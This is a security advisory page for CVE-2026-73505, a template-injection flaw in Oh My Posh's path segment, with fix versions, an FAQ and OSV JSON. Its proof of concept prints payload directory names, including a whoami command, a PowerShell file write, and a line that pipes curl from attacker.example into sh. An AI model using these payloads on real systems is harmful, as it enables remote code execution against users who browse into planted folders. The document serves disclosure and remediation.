CVE-2026-73505: Oh My Posh Arbitrary Command Execution Vulnerability

HIGH
Advisory Identifier: GHSA-6xj8-qv9j-xcjq
CVSS 7.8
CWE-94 CWE-1336
Published
Advisory Summary

CVE-2026-73505 is a HIGH (CVSS 7.8) arbitrary command execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Oh My Posh libraries in the Go ecosystem. The issue involves arbitrary command execution via template injection in the path segment. Remediation is available by upgrading affected packages to version 29.35.1.

CVE-2026-73505 at a Glance

CVE Identifier CVE-2026-73505
GHSA Identifier GHSA-6xj8-qv9j-xcjq
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Oh My Posh
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-73505

To remediate this vulnerability, upgrade all affected Oh My Posh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/jandedobbeleer/oh-my-posh fixed: 29.35.1
Upgrade github.com/jandedobbeleer/oh-my-posh to 29.35.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/jandedobbeleer/oh-my-posh

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-73505, inspect your project dependencies for Oh My Posh:

inspect dependencies for github.com/jandedobbeleer/oh-my-posh

Analyze the terminal output to locate any version of Oh My Posh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 29.35.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Oh My Posh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Oh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go `text/template` engine. That engine's function map exposes a `cmd` function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected. ### Details `src/segments/path.go`, `setStyle()`: ```go // make sure we resolve all templates if txt, err := template.Render(pt.Path, pt); err == nil { pt.Path = txt } ``` `pt.Path` is built from the raw folder-name components of the current working directory (`colorizePath` inserts each folder name verbatim via `fmt.Sprintf(folderFormat, element)`). The whole string is then passed to `template.Render`, which parses and executes it with the full function map from `src/template/func_map.go`, including: ```go func cmd(command string, args ...string) (string, error) { output, err := env.RunCommand(command, args...) return strings.TrimSpace(output), err } ``` Any template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (`src/config/default.go`) contains a path segment. ### PoC Config (a single default path segment): ```json { "version":3, "blocks":[{"type":"prompt","alignment":"left","segments":[ {"type":"path","style":"plain","foreground":"#ffffff", "template":"{{ .Path }}","properties":{"style":"full"}}]}]} ``` Command execution reflected into the prompt (`--pwd` supplies exactly the string `env.Pwd()` returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only `/` and NUL are disallowed): ``` $ oh-my-posh print primary --config p.json --shell fish \ --pwd '/home/v/{{ cmd `whoami` }}' /home/v/<username> # whoami executed, output substituted ``` Side effect (file write), slash-free payload, verified on Windows: ``` $ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \ --pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}' $ cat /tmp/proof pwn3d ``` Confirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles. ### Impact Arbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd. The path is split on `/` (and `\` on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS `{{ cmd `sh` `-c` `curl${IFS}-s${IFS}attacker.example|sh` }}` needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name (`{{ cmd `bash` `x` }}`). Suggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (`folder_separator_template`, `mapped_locations`, `folder_format`) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape `{{`/`}}` in raw folder-name components before insertion, or use a data-only function map (no `cmd`/`readFile`/`stat`/`glob`) for path resolution. The same double-evaluation pattern is worth reviewing at `src/segments/options/map.go`.

CVE-2026-73505 Affected Oh My Posh Versions

1 component(s)
Fixed Versions:
29.35.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/jandedobbeleer/oh-my-posh
Go
< 29.35.1
29.35.1

References

Frequently Asked Questions

What is CVE-2026-73505?
CVE-2026-73505 is a security vulnerability in Oh My Posh involving Arbitrary command execution via template injection in the path segment under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Oh My Posh versions are affected?
Affected versions include releases prior to 29.35.1 across affected packages: github.com/jandedobbeleer/oh-my-posh.
What version fixes CVE-2026-73505?
Upgrading to 29.35.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/jandedobbeleer/oh-my-posh affected?
Yes, github.com/jandedobbeleer/oh-my-posh is affected in releases prior to 29.35.1. Upgrade your dependency to 29.35.1 or later.
What is the CVSS score of CVE-2026-73505?
CVE-2026-73505 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-73505?
CVE-2026-73505 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Go dependencies for CVE-2026-73505?
Run the dependency tree command: 'inspect dependencies for github.com/jandedobbeleer/oh-my-posh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6xj8-qv9j-xcjq",
  "modified" : "2026-08-13T14:22:04Z",
  "published" : "2026-07-24T22:36:11Z",
  "aliases" : [ "CVE-2026-73505" ],
  "summary" : "Oh My Posh: Arbitrary command execution via template injection in the path segment",
  "details" : "### Summary\nOh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go `text/template` engine. That engine's function map exposes a `cmd` function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.\n\n### Details\n`src/segments/path.go`, `setStyle()`:\n\n```go\n// make sure we resolve all templates\nif txt, err := template.Render(pt.Path, pt); err == nil {\n    pt.Path = txt\n}\n```\n\n`pt.Path` is built from the raw folder-name components of the current working directory (`colorizePath` inserts each folder name verbatim via `fmt.Sprintf(folderFormat, element)`). The whole string is then passed to `template.Render`, which parses and executes it with the full function map from `src/template/func_map.go`, including:\n\n```go\nfunc cmd(command string, args ...string) (string, error) {\n    output, err := env.RunCommand(command, args...)\n    return strings.TrimSpace(output), err\n}\n```\n\nAny template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (`src/config/default.go`) contains a path segment.\n\n### PoC\nConfig (a single default path segment):\n\n```json\n{ \"version\":3, \"blocks\":[{\"type\":\"prompt\",\"alignment\":\"left\",\"segments\":[\n  {\"type\":\"path\",\"style\":\"plain\",\"foreground\":\"#ffffff\",\n   \"template\":\"{{ .Path }}\",\"properties\":{\"style\":\"full\"}}]}]}\n```\n\nCommand execution reflected into the prompt (`--pwd` supplies exactly the string `env.Pwd()` returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only `/` and NUL are disallowed):\n\n```\n$ oh-my-posh print primary --config p.json --shell fish \\\n      --pwd '/home/v/{{ cmd `whoami` }}'\n/home/v/<username>        # whoami executed, output substituted\n```\n\nSide effect (file write), slash-free payload, verified on Windows:\n\n```\n$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \\\n      --pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}'\n$ cat /tmp/proof\npwn3d\n```\n\nConfirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.\n\n### Impact\nArbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.\n\nThe path is split on `/` (and `\\` on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS `{{ cmd `sh` `-c` `curl${IFS}-s${IFS}attacker.example|sh` }}` needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name (`{{ cmd `bash` `x` }}`).\n\nSuggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (`folder_separator_template`, `mapped_locations`, `folder_format`) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape `{{`/`}}` in raw folder-name components before insertion, or use a data-only function map (no `cmd`/`readFile`/`stat`/`glob`) for path resolution. The same double-evaluation pattern is worth reviewing at `src/segments/options/map.go`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/jandedobbeleer/oh-my-posh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "29.35.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 29.35.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/JanDeDobbeleer/oh-my-posh/security/advisories/GHSA-6xj8-qv9j-xcjq"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/JanDeDobbeleer/oh-my-posh/commit/88ddbe0b0a4dd13cc345996108c9869493f2c690"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/JanDeDobbeleer/oh-my-posh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.35.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.36.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336", "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T22:36:11Z",
    "nvd_published_at" : null
  }
}